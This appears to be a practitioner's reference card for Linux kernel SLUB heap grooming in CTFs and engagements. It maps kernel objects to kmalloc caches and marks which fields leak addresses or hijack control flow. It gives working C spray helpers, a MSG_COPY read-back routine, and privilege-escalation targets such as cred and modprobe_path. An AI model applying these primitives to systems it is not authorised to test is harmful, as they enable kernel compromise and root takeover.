A reference card for picking spray objects during SLUB exploitation: which kernel object lands in which kmalloc cache, whether it is plain or memcg-accounted, whether you control its bytes, and which field leaks an address or reaches RIP. It is built for use under time pressure during a CTF or an engagement, so it leans on tables and short snippets rather than prose. Every size, flag, symbol, and version threshold was checked against the source. Where a fact depends on the kernel version, the sheet says so instead of giving one absolute number.
x86-64, SLUB. Reference source is Linux v6.12; version-sensitive facts are flagged inline. Sizes, GFP flags and cache placement drift between versions, so confirm the alloc site in your target’s source before relying on a number here.
Legend
- plain: allocated with
GFP_KERNEL, lands inkmalloc-*. Most victims live here. - cg: allocated with
GFP_KERNEL_ACCOUNT, lands in the separatekmalloc-cg-*caches (5.14+). - ctrl: you control the bytes written into the object.
- size only: you control the allocation size (which cache) but not the bytes. Good for layout and cross-cache, useless for forging a fake object.
- fp: carries function pointers, useful for RIP control.
- leak: fields disclose kernel or heap addresses.
- persistent / transient: stays allocated until you free it, vs. freed inside the syscall (hold it with Hold transient objects).
The one rule that decides whether a groom works at all: a cg object and a plain object of the same size sit in different caches and never overlap. So your spray must carry the same flag as the victim. A mismatch fails silently, with the objects landing in the wrong cache and never neighbouring the target. Match the flag before you worry about anything else.
Each object below also shows its kernel struct layout, so you know what you are placing: the header region is kernel-owned, your bytes land right after it, and the fp / leak tags mark the fields worth corrupting or reading.
Caches
Caches on x86-64: 8 16 32 64 96 128 192 256 512 1024 2048 4096 8192. kmalloc(n) rounds up to the next bucket. 8192 is KMALLOC_MAX_CACHE_SIZE; a request above it skips the slab caches and goes straight to the page allocator (kmalloc_large). The accounted copies kmalloc-cg-* hold GFP_KERNEL_ACCOUNT objects (split out in 5.14), and kmalloc-rnd-NN-* are the 16 randomized copies per size (6.6+, see RANDOM_KMALLOC_CACHES). Objects in a dedicated or segregated cache (cred_jar, filp, the msg_msg and user_buckets kmem_buckets from 6.11) never share a generic cache, so reach them with Cross-cache.
All cache and GFP facts are read from the v6.12 source; cg placement assumes CONFIG_MEMCG_KMEM (booting cgroup.memory=nokmem collapses the cg caches back into the plain ones).
How to use this page
Start from your cache size. Go to Spray by cache size and jump to the bucket your bug writes into.
Inside a size, read the immutable (victim) objects first: they have a fixed layout and kernel-set pointers you corrupt or read back. If none of them gives you the leak or the RIP you need, drop down to Elastic objects, where one function sprays almost any size with bytes you fully control.
When you already know the capability you want (a heap leak, a KASLR leak, or RIP) rather than the size, go straight to the target index under Lookup tables and work backwards to the object.
And before any of that, match the plain/cg flag of your victim (see Legend). A mismatch never neighbours, so it is the first thing to get right and the easiest to miss.
Lookup tables
Immutable objects (victims)
You corrupt or overlap these; the kernel sets their contents.
| Object | Cache (6.12) | Since | Heap leak | KASLR leak | RIP | Content |
|---|---|---|---|---|---|---|
seq_operations |
cg-32 | cg 5.14 | no | yes (start = single_start) |
yes (start, show) |
kernel-set |
shm_file_data |
plain-32 | stable | yes (file, ns) |
yes (vm_ops = shmem_vm_ops, after mmap) |
yes (vm_ops->*) |
kernel-set |
subprocess_info |
plain-96/128 | stable | partial (list ptrs) | yes (work.func) |
yes (init, cleanup) |
kernel-set |
cred |
cred_jar (dedicated, SLAB_ACCOUNT) |
stable | data-object ptrs | no | privesc target (uid/gid) |
kernel-set |
timerfd_ctx |
plain-256 | stable | yes (wqh, clist) |
yes (t.tmr.function = timerfd_tmrproc, after settime) |
yes (t.tmr.function) |
kernel-set |
struct file |
filp (dedicated; +SLAB_TYPESAFE_BY_RCU 6.12) |
RCU 6.12 | yes (f_inode, f_path) |
yes (f_op, symbol per file type) |
yes (f_op->*) |
kernel-set |
tty_struct |
cg-1024 | accounted ~5.15 | yes (link, driver) |
yes (ops = ptm_unix98_ops) |
yes (ops->*) |
kernel-set (magic 0x5401) |
Elastic objects
You place these, with bytes you control.
| Object | Cache (6.12) | Since | Heap leak | KASLR leak | RIP | Content |
|---|---|---|---|---|---|---|
msg_msg |
cg; dedicated msg_msg buckets 6.11+ (needs CONFIG_SLAB_BUCKETS, else cg) |
cg 5.14 | yes (m_list, next) |
no | no | full after 0x30 |
msg_msgseg |
cg | 6.11 path | yes (next) |
no | no | full after 8 |
user_key_payload (add_key) |
plain | stable | neighbour only | no | no | full after 0x18 |
sk_buff head |
plain, or skbuff_small_head (<= ~0x2c0) |
small-head 6.2 | no | no | no | full |
setxattr value |
plain (kvmalloc) | stable | neighbour only | no | no | full |
simple_xattr (tmpfs) |
cg | rb_node 6.2; tmpfs user.* 6.6 |
yes (rb_node) |
no | no | full after hdr |
sendmsg control |
plain (sock_kmalloc) |
stable | no | no | no | full |
anon_vma_name |
plain (32/64/96) | 5.17 | no | no | no | full after 4 |
poll_list |
plain | stable | yes (next) |
no | no | fd field only |
pipe_buffer array |
cg (cg-1024 default, resizable) | stable | yes (page) |
yes (ops = anon_pipe_buf_ops) |
yes (ops->release) |
size only |
Size matrix
Pass the cache size directly. n/a = unreachable.
| Cache | msg_msg (cg) | add_key (plain) | anon_vma_name (plain) | sk_buff (plain) | simple_xattr (cg) | pipe_buffer (cg) |
|---|---|---|---|---|---|---|
| 32 | n/a | 32 | 32 | n/a | n/a | n/a |
| 64 | 64 | 64 | 64 | n/a | n/a | n/a |
| 96 | 96 | 96 | 96 | n/a | n/a | n/a |
| 128 | 128 | 128 | n/a | n/a | 128 | n/a |
| 192 | 192 | 192 | n/a | n/a | 192 | 192 |
| 256 | 256 | 256 | n/a | n/a | 256 | n/a |
| 512 | 512 | 512 | n/a | pre-6.2 only | 512 | 512 |
| 1024 | 1024 | 1024 | n/a | 1024 | 1024 | 1024 |
| 4096 | 4096 | 4096 | n/a | 4096 | 4096 | 4096 |
| 8192+ | seg | up to 32767 body | n/a | 8192+ | kvmalloc | 8192 |
Plain sprays (survive the cg split): add_key, sk_buff, setxattr, anon_vma_name, sendmsg, poll_list. cg sprays: msg_msg (through 6.10), simple_xattr, pipe_buffer.
Target index
- RIP:
seq_operations->start(cg-32),tty_struct->ops(cg-1024),timerfd_ctx->t.tmr.function(256),pipe_buffer->ops->release(cg, via Cross-cache),subprocess_info->cleanup(96),file->f_op(filp, via Cross-cache). - Leak, kernel text or rodata (KASLR). Each field points into text or a const ops table, so subtract the symbol offset for the base:
seq_operations->start/next/stop(cg-32): single_start, single_next, single_stop in fs/seq_file.c.shm_file_data->vm_ops(plain-32): the underlying file’s vm_ops, i.e. shmem_vm_ops (not shm_vm_ops, which goes into the VMA rather than into sfd).timerfd_ctx->t.tmr.function(256): timerfd_tmrproc.file->f_op(filp): the device’s file_operations.tty_struct->ops(cg-1024): ptm_unix98_ops for a /dev/ptmx master, pty_unix98_ops for the slave peer at->link->ops.pipe_buffer->ops(cg 192/512/1024, after a write): anon_pipe_buf_ops.
- Leak, heap or page:
shm_file_data->nsis init_ipc_ns (kernel data) only in the initial IPC namespace, otherwise a heapipc_namespace;->fileis a heap address.timerfd_ctx->t.tmr.baseis a per-cpuhrtimer_clock_baseinsidehrtimer_bases.tty_structcarries self and dev back-pointers (heap).pipe_buffer->pageis a vmemmapstruct page *.msg_msg->m_list.next/prevpoint at the queue head or the next message (heap).
- Leak, verbatim read-back: msg_msg (
MSG_COPY, cg) and user_key_payload (KEYCTL_READ, plain) hand their own body back, so when they neighbour an out-of-bounds read the leaked bytes come straight to userland with no pointer of their own. Mind the flag: the cg one and the plain one sit next to different victims. - Dedicated caches (reach via Cross-cache):
credincred_jar,struct fileinfilp(SLAB_ACCOUNT, andSLAB_TYPESAFE_BY_RCUfrom 6.12, sizeof about 192 in 6.12 and 232 in 6.6), themsg_msganduser_bucketskmem_buckets (6.11+). - No-RIP privesc:
cred->uid/gid(ret2cred), pipe and page cache (Dirty Pipe),modprobe_pathorcore_patternoverwrite.
Spray by cache size
Start at your bug’s cache. Each size lists its immutable victims first (kernel-set content, the thing you corrupt or overlap), then the elastic sprays that reach the same cache. If no immutable gives you what you need, drop to the elastic list and spray a controlled object. Match the victim’s flag or the groom fails silently; the Legend explains why plain and cg never neighbour.
kmalloc-32
Two immutable victims live here, one per flag.
seq_operations (cg-32) is allocated by single_open with GFP_KERNEL_ACCOUNT, so it sits in kmalloc-cg-32, not the plain cache. It hands you both an fp (->start, which read() calls) and a KASLR leak: ->start/->next/->stop are set to single_start, single_next, single_stop in fs/seq_file.c. Opening any ONE() procfs file triggers the alloc, and /proc/self/stat is the usual pick.
#include <fcntl.h>
struct seq_operations { /* kmalloc-cg-32, all fp */
void *start; /* 0x00 read() calls this -> RIP */
void *stop; /* 0x08 */
void *next; /* 0x10 */
void *show; /* 0x18 */
};
void spray_seq_operations(int *fds, int n)
{
for (int i = 0; i < n; i++)
fds[i] = open("/proc/self/stat", O_RDONLY);
}
shm_file_data (plain-32) leaks three things: init_ipc_ns through ->ns (only when the task is in the initial IPC namespace), shmem_vm_ops through ->vm_ops (kernel text or rodata, available after the mapping is faulted), and a heap pointer to the internal shmem file through ->file.
#include <sys/ipc.h>
#include <sys/shm.h>
struct shm_file_data { /* kmalloc-32 */
int id; /* 0x00 */
struct ipc_namespace *ns; /* 0x08 leak */
struct file *file; /* 0x10 leak (heap) */
const struct vm_operations_struct *vm_ops; /* 0x18 leak (kernel base) */
};
void spray_shm_file_data(void **addrs, int n)
{
for (int i = 0; i < n; i++) {
int id = shmget(IPC_PRIVATE, 0x1000, IPC_CREAT | 0600);
addrs[i] = shmat(id, NULL, 0);
}
}
Both sprays are fd or mapping backed, so raise RLIMIT_NOFILE (and mind SHMMNI, default 4096) before spraying in the thousands.
Elastic objects that reach this cache: spray_add_key(32, ...) (plain), spray_anon_vma_name(n, name) for a name up to 27 bytes (plain, the 4-byte header puts 4 + 28 into 32). Definitions in Elastic objects.
kmalloc-64
No immutable victim lands in the generic 64 cache on its own, so go straight to the elastic list.
Elastic objects that reach this cache: spray_add_key(64, ...) (plain), spray_anon_vma_name(n, name) with a 28..60-byte name (plain), spray_msg_msg(64, ...) (cg; this is the floor of msg_msg, where the 48-byte header leaves a 16-byte body).
kmalloc-96
subprocess_info (plain-96) is the immutable victim. It comes from a socket with an unregistered protocol, which fires request_module through call_usermodehelper (GFP_KERNEL). The path is noisy and racy, so treat it as a last resort. Its ->init and ->cleanup are function pointers.
struct subprocess_info { /* kmalloc-96 */
struct work_struct work; /* 0x00 */
struct completion *complete; /* 0x20 */
const char *path; /* 0x28 */
char **argv; /* 0x30 */
char **envp; /* 0x38 */
int wait; /* 0x40 */
int retval; /* 0x44 */
int (*init)(struct subprocess_info *, struct cred *); /* 0x48 fp */
void (*cleanup)(struct subprocess_info *); /* 0x50 fp */
void *data; /* 0x58 */
};
Elastic objects that reach this cache: spray_add_key(96, ...) (plain), spray_anon_vma_name(n, name) with a 61..80-byte name (plain, 4 + up to 84 rounds to 96), spray_msg_msg(96, ...) (cg).
kmalloc-128
Noisy cache. An idle system already has hundreds of active slabs here, so defrag first and spray thousands before you expect to land next to a target. No dedicated immutable victim of its own.
Elastic objects that reach this cache: spray_add_key(128, ...) (plain), spray_msg_msg(128, ...) (cg), spray_simple_xattr(128, ...) (cg).
kmalloc-192
cred is the privilege-escalation target in this size band, but it is allocated from its own cred_jar (dedicated, SLAB_ACCOUNT), not from kmalloc-192, so you reach it with Cross-cache rather than a same-cache neighbour. The fork spray gives you a population of them.
#include <unistd.h>
struct cred { /* cred_jar, ~0xa8 */
atomic_t usage; /* 0x00 */
kuid_t uid; kgid_t gid; /* 0x04 0x08 */
kuid_t suid; kgid_t sgid; /* 0x0c 0x10 */
kuid_t euid; kgid_t egid; /* 0x14 0x18 */
kuid_t fsuid; kgid_t fsgid; /* 0x1c 0x20 zero these -> root */
/* ... caps, keyrings, user_namespace ... */
};
void spray_cred(int n)
{
for (int i = 0; i < n; i++) {
if (fork() == 0) {
pause();
_exit(0);
}
}
}
Elastic objects that reach this cache: spray_msg_msg(192, ...) (cg), spray_pipe_buffer(192, n, fds) (cg; a 192 pipe is 4 slots of 40 bytes, so 160 bytes rounding into this cache, and it carries a ->ops leak once written). See the pipe_buffer entry in Elastic objects for the leak and RIP details.
kmalloc-256
timerfd_ctx (plain-256, about 216 bytes, GFP_KERNEL) is the immutable victim. After a settime it gives an fp through ->t.tmr.function (set to timerfd_tmrproc) and a per-cpu leak through ->t.tmr.base, which points into hrtimer_bases.
#include <sys/timerfd.h>
struct timerfd_ctx { /* kmalloc-256 */
union {
struct hrtimer tmr; /* tmr.function (fp), tmr.base (leak) */
struct alarm alarm;
} t;
/* ... tmr.function and the rbtree pointers leak kernel + heap ... */
};
void spray_timerfd(int *fds, int n)
{
for (int i = 0; i < n; i++)
fds[i] = timerfd_create(CLOCK_MONOTONIC, 0);
}
Raise RLIMIT_NOFILE before a large timerfd spray.
struct file is the other classic 256-ish target, but it is not in kmalloc-256. It has its own filp cache, so reach ->f_op through Cross-cache. The offset of f_op moves between versions, so read it from your target’s source.
struct file { /* filp cache, not kmalloc-256 */
/* ... */
const struct file_operations *f_op; /* fp, offset version-dependent */
/* ... */
};
Elastic objects that reach this cache: spray_add_key(256, ...) (plain), spray_msg_msg(256, ...) (cg).
kmalloc-512
No immutable victim of its own. This size is where the choice of controlled object matters most, so the elastic list is long.
Elastic objects that reach this cache. Plain: spray_add_key(512, ...), spray_setxattr(path, 512, ...) (transient), and spray_sk_buff(512, ...) on kernels before 6.2 only (the sk_buff entry in Elastic objects has the small-head caveat that explains why). cg: spray_msg_msg(512, ...), spray_simple_xattr(512, ...) (persistent), and spray_pipe_buffer(512, n, pipes) for layout plus a ->ops leak.
int q = spray_msg_msg(512, n, data); /* cg */
spray_add_key(512, n, data); /* plain */
spray_simple_xattr(512, n, data); /* cg, persistent */
spray_pipe_buffer(512, n, pipes); /* cg, leaks ->ops once written */
int sv[2];
spray_sk_buff(512, n, data, sv); /* plain, pre-6.2 only */
What leaks here. msg_msg and the add_key payload read their own body back (MSG_COPY, KEYCTL_READ), so against an out-of-bounds read the neighbour’s bytes come back verbatim. Watch the flag though: msg_msg is cg and add_key is plain, so they neighbour different victims. Neither one carries a kernel pointer of its own, so neither beats KASLR alone. pipe_buffer does, and it is cg; its ->ops leak and ->ops->release RIP path are described once in the pipe_buffer entry under Elastic objects.
kmalloc-1024
tty_struct (cg-1024, about 700 bytes) is the immutable victim. alloc_tty_struct uses GFP_KERNEL_ACCOUNT (accounted since ~5.15), so it lands in kmalloc-cg-1024, not plain. For a /dev/ptmx master, ->ops points to ptm_unix98_ops; the slave peer reached through ->link->ops points to pty_unix98_ops. It also carries self and device back-pointers (heap), and magic is a fixed 0x5401 marker.
#include <fcntl.h>
struct tty_struct { /* kmalloc-cg-1024, ~0x2e0 */
int magic; /* 0x00 = 0x5401, used as a marker */
struct kref kref; /* 0x04 */
struct device *dev; /* 0x08 */
struct tty_driver *driver; /* 0x10 */
const struct tty_operations *ops; /* 0x18 fp -> fake vtable */
int index; /* 0x20 */
/* ... */
};
void spray_tty_struct(int *fds, int n)
{
for (int i = 0; i < n; i++)
fds[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
}
Raise RLIMIT_NOFILE first.
Elastic objects that reach this cache: spray_msg_msg(1024, ...) (cg), spray_pipe_buffer(1024, ...) (cg; the default pipe ring is 16 slots of 40 = 640 bytes, and its ->ops->release reaches RIP when the pipe closes), spray_sk_buff(1024, ...) (plain; this is the first generic cache sk_buff reaches on 6.2+, being above the small-head threshold, see the sk_buff entry).
kmalloc-2048 and kmalloc-4096
Immutable victims up here are n_tty_data (the pty line discipline buffer, cg) and assorted driver buffers. No single self-contained snippet covers them; they depend on the driver you drive.
Elastic objects that reach these caches. Plain: spray_add_key(4096, ...), spray_setxattr(path, 4096, ...), spray_sk_buff(4096, ...). cg: spray_msg_msg(4096, ...), spray_simple_xattr(4096, ...), spray_pipe_buffer(2048|4096, ...).
spray_msg_msg(4096, n, data); /* cg */
spray_add_key(4096, n, data); /* plain */
int sv[2];
spray_sk_buff(4096, n, data, sv); /* plain */
spray_simple_xattr(4096, n, data); /* cg */
kmalloc-8192 and above
A request above 8192 leaves the slab caches and goes straight to the page allocator (kmalloc_large), so setxattr and friends fall into page-allocator territory there.
spray_add_key(16384, n, data); /* plain, body caps at 32767 */
spray_msg_msgseg(1024, n, data); /* 4096-byte msg_msg body + a chosen seg cache */
Elastic objects
One function per object, sized to any cache. spray_*(cache, n, data) takes the cache size and subtracts its own header. Shared params:
cache: target kmalloc cache in bytes (512, 1024, …). The function computes the body length ascache - header.n: how many objects to spray.data: source buffer copied into each object body. It must hold at leastcache - headerbytes, so pass a buffer ofcachebytes to stay safe. A shorter buffer reads out of bounds in userspace.
Each meta line reads: cache zone, header, lifetime, content control, range.
msg_msg
cg (5.14..6.10), dedicated msg_msg kmem_buckets (6.11+) | header 0x30 | persistent | ctrl | 64..4096+
The 48-byte header is sizeof(struct msg_msg). From 5.14 to 6.10 the body is kmalloc(..., GFP_KERNEL_ACCOUNT), so kmalloc-cg-*. From 6.11, when CONFIG_SLAB_BUCKETS is set, the main body moves to a dedicated kmem_buckets cache named msg_msg (created SLAB_ACCOUNT, allocated GFP_KERNEL), which no longer collides with generic kmalloc-cg-*; without that config it stays in kmalloc-cg-*. Either way the chained msg_msgseg segments stay GFP_KERNEL_ACCOUNT. spray_msg_msgseg handles a body over 4048 by chaining a msg_msgseg (header 8) into a second cache. leak_msg_msg copies a message back without removing it, and needs CONFIG_CHECKPOINT_RESTORE for MSG_COPY.
#define _GNU_SOURCE /* MSG_COPY */
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/msg.h>
struct msgbuf_x {
long mtype;
char mtext[0];
};
struct msg_msg { /* kmalloc(0x30 + body) */
struct list_head m_list; /* 0x00 */
long m_type; /* 0x10 */
size_t m_ts; /* 0x18 body length */
struct msg_msgseg *next; /* 0x20 set when body > 4048 */
void *security; /* 0x28 */
/* 0x30: your bytes (first 4048) */
};
struct msg_msgseg { /* kmalloc(0x08 + seg) */
struct msg_msgseg *next; /* 0x00 */
/* 0x08: your bytes */
};
int spray_msg_msg(size_t cache, int n, const void *data)
{
int q = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
size_t body = cache - 48;
struct msgbuf_x *m = calloc(1, sizeof(long) + body);
/* One queue blocks once it holds msg_qbytes bytes (MSGMNB, default
16384). Raise the limit so n large messages fit; needs
CAP_SYS_RESOURCE to exceed MSGMNB, otherwise spread across queues. */
struct msqid_ds ds;
msgctl(q, IPC_STAT, &ds);
ds.msg_qbytes = (unsigned long)(body + 64) * n;
msgctl(q, IPC_SET, &ds);
m->mtype = 1;
memcpy(m->mtext, data, body);
for (int i = 0; i < n; i++) {
msgsnd(q, m, body, 0);
}
free(m);
return q;
}
int spray_msg_msgseg(size_t seg_cache, int n, const void *seg_data)
{
int q = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
size_t body = 4048 + (seg_cache - 8);
struct msgbuf_x *m = calloc(1, sizeof(long) + body);
struct msqid_ds ds;
msgctl(q, IPC_STAT, &ds);
ds.msg_qbytes = (unsigned long)(body + 64) * n;
msgctl(q, IPC_SET, &ds);
m->mtype = 1;
memcpy(m->mtext + 4048, seg_data, seg_cache - 8);
for (int i = 0; i < n; i++) {
msgsnd(q, m, body, 0);
}
free(m);
return q;
}
void leak_msg_msg(int q, void *out, size_t body)
{
struct msgbuf_x *m = malloc(sizeof(long) + body);
msgrcv(q, m, body, 0, MSG_COPY | IPC_NOWAIT);
memcpy(out, m->mtext, body);
free(m);
}
Params: data must hold cache - 48 bytes. spray_msg_msgseg(seg_cache, n, seg_data) places seg_data (needs seg_cache - 8 bytes) into the chained segment. leak_msg_msg(q, out, body) writes body bytes into out. Floor is 64 (48-byte header leaves a 16-byte body). Free with msgctl(q, IPC_RMID, NULL). A single msgsnd is also capped at MSGMAX (/proc/sys/kernel/msgmax, default 8192 bytes), so the multi-segment path needs that raised before a body over 8192 will send.
add_key (user_key_payload)
plain kmalloc | header 0x18 | persistent | ctrl | 32..32791
Stays in kmalloc-*, so it survives the cg split. The 24-byte header is sizeof(struct user_key_payload) (rcu_head 16, datalen 2, pad to u64). The user/logon type caps datalen at 32767, so the largest object is 24 + 32767 and still lands in the page allocator above 8192. Read with KEYCTL_READ, free with KEYCTL_REVOKE or KEYCTL_UNLINK (the slab free is RCU-deferred).
#include <unistd.h>
#include <stdio.h>
#include <sys/syscall.h>
#ifndef KEY_SPEC_PROCESS_KEYRING
#define KEY_SPEC_PROCESS_KEYRING -2
#endif
struct user_key_payload { /* kmalloc(0x18 + datalen) */
struct rcu_head rcu; /* 0x00, 16 bytes */
unsigned short datalen; /* 0x10 */
/* 0x18: your bytes */
char data[];
};
void spray_add_key(size_t cache, int n, const void *data)
{
char desc[32];
for (int i = 0; i < n; i++) {
sprintf(desc, "spray_%zu_%d", cache, i);
syscall(SYS_add_key, "user", desc, data, cache - 24,
KEY_SPEC_PROCESS_KEYRING);
}
}
Params: data must hold cache - 24 bytes. The description is generated internally, one unique key per index. Quota: an unprivileged user is capped by /proc/sys/kernel/keys/maxkeys (200) and maxbytes (20000), so a large spray needs root (root_maxkeys 1000000, root_maxbytes 25000000) or a raised quota.
sk_buff (head)
plain kmalloc or skb_small_head_cache | tail 320, rounds to 64 | persistent | ctrl (leading bytes) | see caveat
skb_shared_info is 320 bytes (0x140) with the default CONFIG_MAX_SKB_FRAGS=17, so the data buffer is round_up_64(len) + 320. The send path uses GFP_KERNEL with no __GFP_ACCOUNT, so the buffer is plain.
Caveat, and the reason this object has no single cache floor: since 6.2 a head up to SKB_SMALL_HEAD_CACHE_SIZE (about 704 bytes, derived from MAX_TCP_HEADER) comes from the dedicated skb_small_head_cache, not from kmalloc-*. Only larger heads reach the generic kmalloc-* caches. So the cache - 320 body formula lands in the small-head cache for kmalloc-512 on 6.2+, and only reaches a generic cache at kmalloc-1024 and above. The whole function targets kmalloc-512 only on kernels before 6.2. Verify SKB_SMALL_HEAD_CACHE_SIZE on your target before you count on the 512 or 1024 boundary: it tracks MAX_TCP_HEADER and CONFIG_MAX_SKB_FRAGS, so it shifts with the config.
#include <sys/socket.h>
/* skb->head buffer: kmalloc(round_up_64(len) + 0x140)
* [ your bytes: len ][ struct skb_shared_info: 0x140 ]
* you control the leading len; the shared_info tail is kernel-owned */
void spray_sk_buff(size_t cache, int n, const void *data, int sv[2])
{
size_t len = cache - 320;
socketpair(AF_UNIX, SOCK_DGRAM, 0, sv);
for (int i = 0; i < n; i++) {
send(sv[0], data, len, 0);
}
}
Params: data must hold cache - 320 bytes. sv is an out param, a caller int sv[2] that receives the socketpair so you can close it to free. Volume is bounded by the socket buffer limits (SO_SNDBUF, wmem).
setxattr
plain kmalloc or user_buckets | header 0 | transient | ctrl | up to 65536
The value is copied through vmemdup_user, i.e. GFP_USER (plain, unaccounted). From 6.11 vmemdup_user routes through the dedicated user_buckets kvmalloc buckets, so on 6.11+ it no longer shares generic kmalloc-*; before that it is a plain kvmalloc. It is freed inside the syscall, so hold it with uffd or FUSE (see Hold transient objects). Params: path is any existing file, data must hold cache bytes (no header). XATTR_SIZE_MAX is 65536.
#include <sys/xattr.h>
void spray_setxattr(const char *path, size_t cache, int n, const void *data)
{
for (int i = 0; i < n; i++) {
setxattr(path, "user.x", data, cache, 0);
}
}
simple_xattr (tmpfs)
cg kmalloc | header 40 (rb_node, 6.2+) or 32 (list_head, pre-6.2) | persistent | ctrl
Persistent alternative to setxattr. The allocation is kvmalloc(len, GFP_KERNEL_ACCOUNT), so it is cg, unlike setxattr. The header is sizeof(struct simple_xattr): 40 since 6.2 (the tree switched from list_head to rb_node), 32 before. user.* xattrs on tmpfs only exist from 6.6, so /dev/shm fails with EOPNOTSUPP on older kernels; use an on-disk fs there. Free by closing the fd and unlinking the file.
#include <fcntl.h>
#include <stdio.h>
#include <sys/xattr.h>
struct simple_xattr { /* kvmalloc(sizeof + size) */
struct rb_node rb_node; /* 0x00, 24 bytes (older: list_head 16) */
char *name; /* 0x18 */
size_t size; /* 0x20 */
char value[]; /* 0x28: your bytes */
};
int spray_simple_xattr(size_t cache, int n, const void *data)
{
int fd = open("/dev/shm/spray", O_CREAT | O_RDWR, 0600);
char name[32];
for (int i = 0; i < n; i++) {
sprintf(name, "user.x%d", i);
fsetxattr(fd, name, data, cache - 40, 0);
}
return fd;
}
Params: data must hold cache - 40 bytes (verify the header per version).
sendmsg (ancillary data)
plain kmalloc | header 0 | transient | ctrl | bounded by optmem_max
When msg_controllen exceeds the small on-stack buffer (about 64 bytes), the kernel copies the control blob into sock_kmalloc(sk, ctl_len, GFP_KERNEL), a plain allocation sized round_up(ctl_len). The copy happens before the cmsg is parsed, so a zeroed buffer still produces the allocation; it is freed at the end of the syscall, so treat it as transient and hold it with uffd or FUSE (see Hold transient objects). Params: fd is a socket, control_len the controlled payload size, n the count. Total is bounded by /proc/sys/net/core/optmem_max (default 20480 or 65536).
#define _GNU_SOURCE /* CMSG_* */
#include <stdlib.h>
#include <sys/socket.h>
struct cmsghdr { /* sock_kmalloc(CMSG_ALIGN(0x10) + control_len) */
size_t cmsg_len; /* 0x00 */
int cmsg_level; /* 0x08 */
int cmsg_type; /* 0x0c */
/* 0x10: your control data */
};
void spray_sendmsg(int fd, size_t control_len, int n)
{
char *cbuf = calloc(1, CMSG_SPACE(control_len));
struct msghdr msg = {0};
msg.msg_control = cbuf;
msg.msg_controllen = CMSG_SPACE(control_len);
for (int i = 0; i < n; i++) {
sendmsg(fd, &msg, 0);
}
free(cbuf);
}
prctl anon_vma_name
plain kmalloc | header 4 (kref) | persistent | ctrl (printable ASCII, NUL-terminated) | kmalloc-32/64/96 (5.17+)
One of the few elastic objects that lands in the plain small caches rather than cg. anon_vma_name_alloc is kmalloc(..., GFP_KERNEL), so plain. The object is struct kref (4 bytes) followed by the name, ANON_VMA_NAME_MAX_LEN is 80, so the total is 4 + up to 80 and spans kmalloc-32/64/96. Content is constrained: the name is a NUL-terminated printable-ASCII string, and control and a few punctuation bytes are rejected, so it suits layout and partial content rather than forging an arbitrary 8-byte pointer. Introduced in 5.17.
#include <sys/mman.h>
#include <sys/prctl.h>
#ifndef PR_SET_VMA
#define PR_SET_VMA 0x53564d41
#define PR_SET_VMA_ANON_NAME 0
#endif
struct anon_vma_name { /* kmalloc(sizeof + strlen + 1) */
struct kref kref; /* 0x00, 4 bytes */
char name[]; /* your string */
};
void spray_anon_vma_name(int n, const char *name)
{
for (int i = 0; i < n; i++) {
char *page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
prctl(PR_SET_VMA, PR_SET_VMA_ANON_NAME,
(unsigned long)page, 0x1000, name);
}
}
Params: name is a NUL-terminated string up to 80 bytes; the object size is 4 + strlen(name) + 1.
poll_list
plain kmalloc | transient | size only | held for the timeout
do_sys_poll allocates struct poll_list chunks with GFP_KERNEL. Params: n_fds sets the size (n_fds * sizeof(struct pollfd) plus a small header), timeout_ms is how long the allocation is held (the chunk lives for the duration of the poll call).
#include <poll.h>
#include <stdlib.h>
struct poll_list { /* kmalloc, chained in page-sized links */
struct poll_list *next; /* 0x00 */
int len; /* 0x08 */
struct pollfd entries[]; /* 0x10: {int fd; short events, revents;} */
};
void spray_poll_list(size_t n_fds, int timeout_ms)
{
struct pollfd *pfds = calloc(n_fds, sizeof(*pfds));
for (size_t i = 0; i < n_fds; i++) {
pfds[i].fd = -1;
}
poll(pfds, n_fds, timeout_ms);
free(pfds);
}
pipe_buffer array
cg kmalloc | entry 40, slots round to a power-of-two page count | persistent | size only (body), leak + fp via ->ops
Both pipe_inode_info and the bufs array are GFP_KERNEL_ACCOUNT, so cg. The body is size-only, but the kernel fills two useful fields per entry once the pipe carries data:
->opsat +0x10 points to&anon_pipe_buf_ops, a const in kernel text, so one entry defeats KASLR. The same field reaches RIP through->ops->releasewhen the pipe is closed, usually set up cross-cache (see Cross-cache).->pageat +0x00 is astruct page *in vmemmap, good for a physmap bearing.
Write at least one byte before you read, or the slots come back zeroed. Entry i sits at i * 0x28. F_SETPIPE_SZ rounds the byte size up to a power-of-two page count, one 40-byte slot per page:
| Pages | Body bytes | Cache |
|---|---|---|
| 4 | 160 | kmalloc-cg-192 |
| 8 | 320 | kmalloc-cg-512 |
| 16 (default) | 640 | kmalloc-cg-1024 |
| 32 | 1280 | kmalloc-cg-2048 |
Params: cache picks the cache (one of 192, 512, 1024, 2048, 4096, 8192), n is how many pipes to spray, fds is an out param int fds[n][2] that receives each pipe’s two ends so you can write, read, close, or trigger later. mark_pipe_buffer is what sets ->ops (and tags buf[0]’s page); skip it and the array stays zeroed. Free by closing both ends of every pair.
spray_pipe_buffer sizes the ring with cache * 64 bytes, which the power-of-two page rounding above turns into the right slot count for that cache, so no lookup table is needed.
#include <unistd.h>
#include <fcntl.h>
struct pipe_buffer { /* array element, 0x28 */
struct page *page; /* 0x00 */
unsigned int offset, len; /* 0x08 */
const struct pipe_buf_operations *ops; /* 0x10 fp -> ops->release */
unsigned int flags; /* 0x18 */
unsigned long private; /* 0x20 */
};
void spray_pipe_buffer(size_t cache, int n, int fds[][2])
{
for (int i = 0; i < n; i++) {
if (pipe(fds[i]) < 0)
continue;
fcntl(fds[i][1], F_SETPIPE_SZ, cache * 64);
}
}
void mark_pipe_buffer(int fds[][2], int n)
{
for (int i = 0; i < n; i++) {
write(fds[i][1], &i, 4);
write(fds[i][1], &i, 4);
}
}
Setup. The caller owns the backing array, so declare it before spraying, and resolve the leak offset once per target (anon_pipe_buf_ops against the kernel base, for example nm vmlinux | grep anon_pipe_buf_ops minus _text):
#define N_PIPES 256
#define ANON_PIPE_BUF_OPS 0x1420d40 /* per-target: anon_pipe_buf_ops - _text */
int pipes[N_PIPES][2];
